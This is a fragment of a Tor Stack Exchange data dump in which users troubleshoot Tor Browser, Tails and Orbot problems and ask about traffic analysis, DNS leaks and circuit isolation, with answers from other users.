LastActivityDate="2018-10-11T15:01:11.067" Title="Tor-browser doesn't launch after upgrade to Tails 2.7" Tags="|tor-browser-bundle|tails|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13173" PostTypeId="2" ParentId="13172" CreationDate="2016-11-20T02:20:48.057" Score="1" Body="&lt;p&gt;After trying to start Tor-browser, &lt;em&gt;dmesg&lt;/em&gt; showed the following, with the last two lines repeating many times:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[  837.685628] SQUASHFS error: xz decompression failed, data probably corrupt&#xA;[  837.685636] SQUASHFS error: squashfs_read_data failed to read block 0x92e8cd6&#xA;[  837.685639] SQUASHFS error: Unable to read data cache entry [92e8cd6]&#xA;[  837.685641] SQUASHFS error: Unable to read page, block 92e8cd6, size fe4f4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Downloading a new .iso and installing according to &lt;a href=&quot;https://tails.boum.org/upgrade/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual upgrade&lt;/a&gt; solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="15125" LastActivityDate="2016-11-20T02:20:48.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13176" PostTypeId="1" CreationDate="2016-11-20T12:57:38.733" Score="0" ViewCount="52" Body="&lt;p&gt;Hi by mistake I clicked new version instead of upgrading &amp;amp; proxy everything. &#xA;Since then cant change to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;English in language section &amp;amp; there is no &quot;save mode&quot;&lt;/li&gt;&#xA;&lt;li&gt;Can't see or  follow the sequence lines of addresses over the globe as before.. that verified conection disconnection etc.. &#xA;How do I retrieve the old view &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I mean is that I can't see all the circuit relay addresses &amp;amp; Orbot address info sequences information. The whole skin &amp;amp; appearance has changed How can I correct this.. It has given peace to know exactly minute to minute status.&lt;/p&gt;&#xA;" OwnerUserId="15130" LastEditorUserId="12737" LastEditDate="2016-11-21T10:29:19.537" LastActivityDate="2016-11-21T10:33:58.923" Title="Upgraded ver. 15.2.0-rc7 multi..can't see sequence routs as before" Tags="|orbot|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13182" PostTypeId="2" ParentId="13176" CreationDate="2016-11-21T10:26:27.197" Score="1" Body="&lt;p&gt;You could use &lt;a href=&quot;https://fdroid.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FDroid&lt;/a&gt; and install the &lt;a href=&quot;https://f-droid.org/repository/browse/?fdid=org.torproject.android&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orbot&lt;/a&gt; version available there or you can enable the Guardian Project repository (which is preconfigured in newer versions of FDroid) through the Repositories menu and install the latest stable release from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that viewing just one circuit that Tor is using at the time is of little real security value, since Tor will frequently use multiple circuits simultaneously, and you are only seeing one. Either you trust the app and trust the circuits are being built faithfully &lt;em&gt;or&lt;/em&gt; you don't and it might lie to you about the circuits anyway. The circuit view provides a false sense of security, and is likely misleading you about what you should be concerned about with regards to anonymity and security.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-11-21T10:33:58.923" LastActivityDate="2016-11-21T10:33:58.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13183" PostTypeId="1" CreationDate="2016-11-21T18:43:32.260" Score="1" ViewCount="330" Body="&lt;p&gt;This is what my log looks like. Please help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;21/11/2016 23:58:29 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;21/11/2016 23:58:29 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;21/11/2016 23:58:29 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;21/11/2016 23:58:29 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;21/11/2016 23:58:36 PM.200 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;21/11/2016 23:58:36 PM.300 [WARN] Proxy Client: unable to connect to 83.212.101.3:50001 (&quot;general SOCKS server failure&quot;) &#xA;21/11/2016 23:58:36 PM.300 [WARN] Proxy Client: unable to connect to 154.35.22.11:7920 (&quot;general SOCKS server failure&quot;) &#xA;21/11/2016 23:58:37 PM.500 [WARN] Proxy Client: unable to connect to 192.95.36.142:443 (&quot;general SOCKS server failure&quot;) &#xA;21/11/2016 23:58:38 PM.100 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;21/11/2016 23:58:38 PM.200 [WARN] Proxy Client: unable to connect to 154.35.22.9:7013 (&quot;general SOCKS server failure&quot;) &#xA;21/11/2016 23:58:39 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;21/11/2016 23:58:39 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;21/11/2016 23:58:39 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;22/11/2016 0:06:29 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:06:29 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:06:29 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:06:29 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;22/11/2016 0:07:34 AM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 7; recommendation warn; host B9E7141C594AF25699E0079C1F0146F409495296 at 0.0.2.0:2) &#xA;22/11/2016 0:07:34 AM.800 [WARN] 18 connections have failed: &#xA;22/11/2016 0:07:34 AM.800 [WARN]  11 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;22/11/2016 0:07:34 AM.800 [WARN]  5 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in CLOSED &#xA;22/11/2016 0:07:34 AM.800 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;22/11/2016 0:07:34 AM.800 [WARN]  1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;22/11/2016 0:08:19 AM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;22/11/2016 0:08:19 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:08:19 AM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;22/11/2016 0:08:59 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:08:59 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:08:59 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:08:59 AM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;22/11/2016 0:09:16 AM.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host D1323EF7D00E20056F5E8D9929639F6C3359688D at 124.210.165.77:443) &#xA;22/11/2016 0:09:16 AM.000 [WARN] 21 connections have failed: &#xA;22/11/2016 0:09:16 AM.000 [WARN]  11 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;22/11/2016 0:09:16 AM.000 [WARN]  6 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in CLOSED &#xA;22/11/2016 0:09:16 AM.000 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;22/11/2016 0:09:16 AM.000 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;22/11/2016 0:09:47 AM.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;22/11/2016 0:09:47 AM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/11/2016 0:09:47 AM.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15145" LastEditorUserId="12737" LastEditDate="2016-11-22T02:08:51.580" LastActivityDate="2017-04-27T01:32:56.757" Title="Unable to establish a connection even after configuring bridges" Tags="|windows|" AnswerCount="1" CommentCount="1" ClosedDate="2017-05-09T12:01:41.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="13184" PostTypeId="1" CreationDate="2016-11-21T21:53:03.437" Score="0" ViewCount="183" Body="&lt;p&gt;Can somebody explain to me, what's up with tor-browser-hardened and Grsecurity? I can't launch hardened browser on Grsecurity hardened kernel. Even after applying &lt;code&gt;paxctl -cpemrxs&lt;/code&gt; to Browser/firefox and Browser/TorBrowser/Tor/tor executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;start-tor-browser --verbose&lt;/code&gt; says the following: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;==5223==Shadow memory range interleaves with an existing memory mapping. ASan cannot proceed correctly. ABORTING.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15148" LastEditorUserId="88" LastEditDate="2016-11-21T22:16:00.317" LastActivityDate="2017-02-20T02:01:27.290" Title="Can't launch hardend browser with Grsecurity" Tags="|tor-browser-bundle|security|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13185" PostTypeId="1" CreationDate="2016-11-21T22:04:07.647" Score="1" ViewCount="233" Body="&lt;p&gt;I just signed up on the TOR StackExchange. Let me preface my question by warning everybody that I am not a technical expert and apologizing in advance if some of my assumptions are incorrect or naive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand about TOR, a user could potentially be de-anonymized in the following scenario (however improbable it may be):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A TOR circuit consists of 3 nodes connecting the user and the clearnet. If, hypothetically, all 3 nodes were compromised (or even the entry and exit node), being operated and monitored by an adversarial entity, then it could be ascertained that a certain file of a known file size was downloaded from the exit node. If several milliseconds later your Internet Provider has a record of you downloading a file of the exact same size and this information can be statistically determined, well, your anonymity is more or less compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, couldn't something along the lines of the following scheme be implemented to combat this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose at every node, as well as on the user's computer a random amount of &quot;noise&quot; data was tacked on to the packet before its encryption. Too prevent too much data from being appended and causing lag within the system, the data would need to be within a determined range, between some minimum and maximum value (a minimum value would not hide the actual size of the meaningful data packet well enough, one might argue). Then, at every step in the proxy chain, the data is unscrambled by a random amount (again within a given range of permissible values) is subducted and/or added on to the noise, repackaged, and sent along. Would this be possible to implement, and would it successfully spoof adversaries endeavoring to conduct malicious statistical analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if what I have proposed is nonsense, technically impossible to implement, due to some consideration of which I am simply not aware. My ignorance may be apparent. But if it is possible, why not implement this as part of the TOR infrastructure? It would serve to strengthen anonymity in this increasingly Orwellian madhouse of a world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, someone has probably thought of this all before. It would then have been rejected for good reason, I'm sure. I appreciate any feedback on this matter. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="15147" LastActivityDate="2022-03-26T19:03:35.373" Title="Making Data Transactions Ambiguous" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13186" PostTypeId="1" CreationDate="2016-11-21T22:12:33.567" Score="0" ViewCount="4158" Body="&lt;p&gt;If I sniff packets or DNS requests using Wireshark, OpenDNS, or a similar tool, will I only see (via wireshark) that a TOR user has connected to a TOR entry node, or will I be able at all to determine &lt;em&gt;which&lt;/em&gt; website is ultimately being requested on the part of the user. Additionally, isn't it true that TOR does not use DNS resolution, and therefore tools like OpenDNS could not even detect TOR traffic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently under the impression that Wireshark can only detect that one is connecting to TOR, and not what data is actually being accessed/transacted on the web.&lt;/p&gt;&#xA;" OwnerUserId="15147" LastActivityDate="2017-02-20T14:13:34.817" Title="Can Wireshark/OpenDNS/etc. Expose Tor Traffic?" Tags="|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13187" PostTypeId="2" ParentId="13185" CreationDate="2016-11-21T22:30:20.787" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;All cells are already padded to 512 bytes, this means they're of equal size. However counting cells still defeats &quot;padding&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Resizing cells randomly would still be subject to cell counting and timing analysis.&lt;/li&gt;&#xA;&lt;li&gt;If all 3 relays in a circuit were compromised they could determine exactly that it was you, there is no need to look at size.&lt;/li&gt;&#xA;&lt;li&gt;It's still vulnerable to active attackers looking to insert detectable delays in the transit times of cells.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&quot;Chaff&quot;, &quot;noise&quot; or &quot;padding&quot; data is covered in the FAQ: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#SendPadding&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq.html.en#SendPadding&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in theory this might make it more difficult to determine, it does not make it impossible. Low-latency anonymity networks in general will &lt;em&gt;always&lt;/em&gt; have trouble defeating an adversary with sufficient visibility of, and insight into, the network. High latency networks are far better placed to fend off such attacks. High latency mix networks like &lt;a href=&quot;https://en.wikipedia.org/wiki/Mixminion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mixminion&lt;/a&gt;, or shuffle based networks like &lt;a href=&quot;http://dedis.cs.yale.edu/dissent/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dissent&lt;/a&gt; have a much easier time combating traffic analysis, unfortunately their anonymity set is vanishingly small making their gains against traffic analysis moot since, no matter how good your anonymity network may be, if Bob and Alice are the only users of it distinguishing them is irrelevant.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-21T22:30:20.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13188" PostTypeId="2" ParentId="13184" CreationDate="2016-11-21T23:04:48.663" Score="1" Body="&lt;p&gt;Correct, PaX does not play well with the allocation method that is used by ASAN. Infact, other of the sanitizers are known to cause other problems.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://bugs.gentoo.org/show_bug.cgi?id=458706&quot; rel=&quot;nofollow noreferrer&quot;&gt;this gentoo bug report&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PaX hard limits the maximum virtual memory size of a task in security/Kconfig:&lt;/p&gt;&#xA;&lt;p&gt;...ASAN needs only 2 TB, but it needs them at a very specific address&#xA;(to mirror the addresses used by the programm in the lower 2 TB of the address&#xA;space), so at least 8 TB address space is needed to fit all the mappings&#xA;at their expected addresses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As such, when ASAN tries to allocate a large range of Virtual Memory for it's Shadow Memory, even while not using the majority of it, it will fail.&lt;/p&gt;&#xA;&lt;p&gt;The gentoo bug report comes with some proposed fixes, as does &lt;a href=&quot;http://endl.ch/clang-sanitizers-with-pax&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt;. No amount of extra PaX flags will allow it to work, it has been known to be incompatible for some years. I'd suggest entrusting PaX over ASAN to protect you from exploitation. While ASAN is good for &lt;em&gt;detecting&lt;/em&gt; bugs and memory corruption, which is invaluable for developers of large code bases like Firefox, it is not (primarily) designed to &lt;em&gt;prevent&lt;/em&gt; exploitation.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-11-21T23:04:48.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13189" PostTypeId="2" ParentId="13186" CreationDate="2016-11-22T02:07:20.227" Score="1" Body="&lt;p&gt;If you are using Tor properly, DNS will not leak and they will be able to see you're connecting to Tor, but not where you're connecting to over Tor. Clearly if someone upstream was able to sniff DNS to discover a Tor users intended destination that would be a huge defeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it is known to happen. Many applications fail to use proxy settings properly. They might, for example perform a DNS resolve locally then ask Tor to connect to an IP directly, this not only breaks their ability to utilise onion services, it also constitutes a leak of DNS. Intelligence agencies were looking for such leaks since &lt;a href=&quot;https://edwardsnowden.com/docs/docs/tor-stinks-presentation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;at least 2011&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser, Tor Messenger and other applications that are well designed for use with Tor will take steps to ensure that the proxy settings are employed at all times a property the Tor Browser Design Specification calls &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#proxy-obedience&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proxy Obedience&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such cases, Tor can provide a &lt;code&gt;DNSPort&lt;/code&gt; which is a minimal DNS server (it handles on &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AAAA&lt;/code&gt; and &lt;code&gt;PTR&lt;/code&gt; records) run by the &lt;code&gt;tor&lt;/code&gt; daemon which will allow you to perform basic DNS resolve over Tor. Note that the Windows resolving proceedure is complex and changes frequently and would require further steps to avoid leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if the application does not properly utilise SOCKS5 with remote hostname lookup or SOCKS4a then it's possible that some upstream observer would see DNS requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with network visibility of the connection between the application using Tor and the Tor daemon will be able to see all the Tor traffic, before it was protected. Anyone upstream, (between the Tor daemon and it's Guard or Bridge) would only see that they were using Tor, assuming it was using Tor properly (see: Proxy Obedience).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-22T02:07:20.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13190" PostTypeId="2" ParentId="13183" CreationDate="2016-11-22T02:41:13.137" Score="0" Body="&lt;p&gt;You have at least TLS/SSL MitM attacks in your network( by meaning lines like 'X connections died in state handshaking' with SSL or TLS mentioned ), so if Meek pluggable transport(that is designed specially for such a cases) does not work - try to use obfs3/4 &lt;em&gt;private&lt;/em&gt; bridges with fingerprints/keys. Private bridge is not published, so it looks like a usual Tor node to the world, only some people know about it and it's lakely all the Tor nodes will be banned in a real time - it's quite laborious and almost useless. If you add more details to your question I'll be able to help you better&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I've added some clarification as asked in a post anonymous comment. If you need some extra/specific info - please tell what exactly do you want.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-11-27T23:46:12.143" LastActivityDate="2016-11-27T23:46:12.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13191" PostTypeId="1" CreationDate="2016-11-22T07:31:45.177" Score="0" ViewCount="90" Body="&lt;p&gt;After Downloading and Installing Tor My E-Mail Program is Drastically Slow ... I am using Windows - 7 and Outlook 2013. Earthlink.net is my e-mail server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prior to downloading and installing TOR, my e-mail was working fine. Now when I send an e-mail, it sits there waiting, waiting and waiting for about 2 minutes before sending. Anyone know what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does TOR install a program that effects Outlook 2013 e-mail program even when the TOR browser is not in use?&lt;/p&gt;&#xA;" OwnerUserId="15151" LastActivityDate="2017-02-21T03:40:15.090" Title="After Downloading and Installing Tor My E-Mail Program is Drastically Slow" Tags="|security|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13194" PostTypeId="1" CreationDate="2016-11-22T18:04:07.353" Score="0" ViewCount="988" Body="&lt;p&gt;I have downloaded Tor for Windows (torbrowser-install-6.0.6_en-US.exe) and ran SHA256 hash check in Powershell using the Get-FileHash command. The value is 4764401CE6B6E78D0CA000CA1271A507569C391D9518821DF3090513133CF567. The problem is that this value doesn't match with the value published in the &quot;sha256sums-unsigned-build.txt&quot; file at &quot;&lt;a href=&quot;https://dist.torproject.org/torbrowser/6.0.6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/6.0.6/&lt;/a&gt;&quot; which is 7c1782151e30b5b714927a9170e02db80ae1ed9f09c9f164e753d3c1e09c9d48.&lt;/p&gt;&#xA;" OwnerUserId="15155" LastActivityDate="2016-11-23T00:12:18.890" Title="SHA hash doesn't match" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ClosedDate="2016-11-27T13:12:56.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="13195" PostTypeId="1" AcceptedAnswerId="13214" CreationDate="2016-11-22T20:22:39.867" Score="0" ViewCount="254" Body="&lt;p&gt;When I visit some specific sites e.g. www.youtube.com or &lt;a href=&quot;https://www.vliegtickets.nl&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.vliegtickets.nl&lt;/a&gt;,  two things happen:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The menu item for 'temporarily allow all this page' disappears&lt;/li&gt;&#xA;&lt;li&gt;The HTTPS connection is marked as 'Connection is not secure' because 'you have disabled protection for this page'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However I had never visited the second page before so I definitely did not disable the protection. The 'connection is not secure' message has a button 'Enable Protection' but this does not do anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Tor Browser 6.0.6.  What can be the problem here? Is it a setting?&lt;/p&gt;&#xA;" OwnerUserId="15156" LastActivityDate="2016-11-25T05:26:56.283" Title="Some sites seem to disable the protection by themselves, how can I prevent that?" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13196" PostTypeId="1" AcceptedAnswerId="13204" CreationDate="2016-11-22T23:39:27.173" Score="2" ViewCount="335" Body="&lt;p&gt;If I have two tabs open, will tab one route through Alice to get to Bob and will tab two also route through Alice to get to Dave?&lt;/p&gt;&#xA;" OwnerUserId="14673" LastActivityDate="2016-11-23T05:58:14.813" Title="When using Tor, will different tabs follow different pathways?" Tags="|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13197" PostTypeId="2" ParentId="13134" CreationDate="2016-11-22T23:58:08.380" Score="0" Body="&lt;p&gt;One more thing to add to a previous answer from @canonizingironize: a GeoIP location is not 100% accurate. Even more - you can and &lt;em&gt;should&lt;/em&gt; update it by hand sometimes. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-22T23:58:08.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13198" PostTypeId="2" ParentId="13196" CreationDate="2016-11-23T00:01:27.837" Score="0" Body="&lt;p&gt;The answer is right &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;here in official docs&lt;/a&gt; : you need to specify corresponding flag to SocksPort - &lt;em&gt;IsolateDestAddr&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-23T00:01:27.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13199" PostTypeId="2" ParentId="13191" CreationDate="2016-11-23T00:07:36.657" Score="1" Body="&lt;p&gt;2 minutes are 120 seconds - a very wide-defined connection timeout for network connections. No, it is not affecting any other software. If you've set your DNS to local Tor DNS listener, then it may wait for non-running Tor to resolve your DNS query(for your email server hostname), then retry the second DNS server. Or - if you've set Tor as a system-wide proxy and it's running - try to use services like WhatIsMyIP to check your IP address of the exit node you're using: maybe you need to set up a filter for exit nodes? It's because if not set explicitly, &lt;em&gt;any&lt;/em&gt; reachable exit can be used, even the slowest one.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-23T00:07:36.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13201" PostTypeId="2" ParentId="13194" CreationDate="2016-11-23T00:12:18.890" Score="0" Body="&lt;p&gt;Not incredible, but possible case - I've helped a person who had a &lt;strong&gt;fake tor.exe&lt;/strong&gt; in Tor Browser Bundle, and he stated that he had downloaded it from a Tor website. Re-download it again from a different network connection&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-23T00:12:18.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13204" PostTypeId="2" ParentId="13196" CreationDate="2016-11-23T05:58:14.813" Score="2" Body="&lt;p&gt;In Tor Browser, isolation is performed by the first party domain. So, if tab A is for &lt;code&gt;bob.com&lt;/code&gt; as the domain and tab B is for &lt;code&gt;dave.com&lt;/code&gt;, they will use distinct circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if tab A and tab B are both for &lt;code&gt;bob.com&lt;/code&gt; then they will both use the same circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a circuit conists of 3 or more relays, the first relay will stay the same over a long time period, this is your Guard relay (or a Bridge, if you use one). The other relays are subject to change on a circuit to circuit basis.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-23T05:58:14.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13206" PostTypeId="1" CreationDate="2016-11-23T13:12:55.720" Score="1" ViewCount="2989" Body="&lt;pre&gt;&lt;code&gt;23/11/2016 16:07:24.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;23/11/2016 16:07:24.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;23/11/2016 16:07:24.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;23/11/2016 16:07:24.000 [WARN] Tor cannot connect to the Internet if ReachableAddresses, ReachableORAddresses, or ReachableDirAddresses reject all addresses. Please accept some addresses in these options. &#xA;23/11/2016 16:07:24.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;23/11/2016 16:07:24.000 [WARN] Tor cannot connect to the Internet if ReachableAddresses, ReachableORAddresses, or ReachableDirAddresses reject all addresses. Please accept some addresses in these options. &#xA;23/11/2016 16:07:24.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;23/11/2016 16:07:24.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;23/11/2016 16:07:26.700 [WARN] The https proxy sent back an unexpected status code 503 (&quot;Service Unavailable&quot;). Closing. &#xA;23/11/2016 16:07:26.700 [WARN] Proxy Client: unable to connect to 62.210.129.246:443 &#xA;23/11/2016 16:08:40.800 [WARN] The https proxy sent back an unexpected status code 503 (&quot;Service Unavailable&quot;). Closing. &#xA;23/11/2016 16:08:40.800 [WARN] Proxy Client: unable to connect to 198.50.191.95:443 &#xA;23/11/2016 16:10:11.500 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;23/11/2016 16:10:46.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;23/11/2016 16:10:46.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;23/11/2016 16:10:46.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;23/11/2016 16:10:46.800 [WARN] Tor cannot connect to the Internet if ReachableAddresses, ReachableORAddresses, or ReachableDirAddresses reject all addresses. Please accept some addresses in these options. &#xA;23/11/2016 16:10:47.500 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15168" LastActivityDate="2016-11-23T13:12:55.720" Title="Can't connect to TOR due to DisableNetwork is set" Tags="|network-configuration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
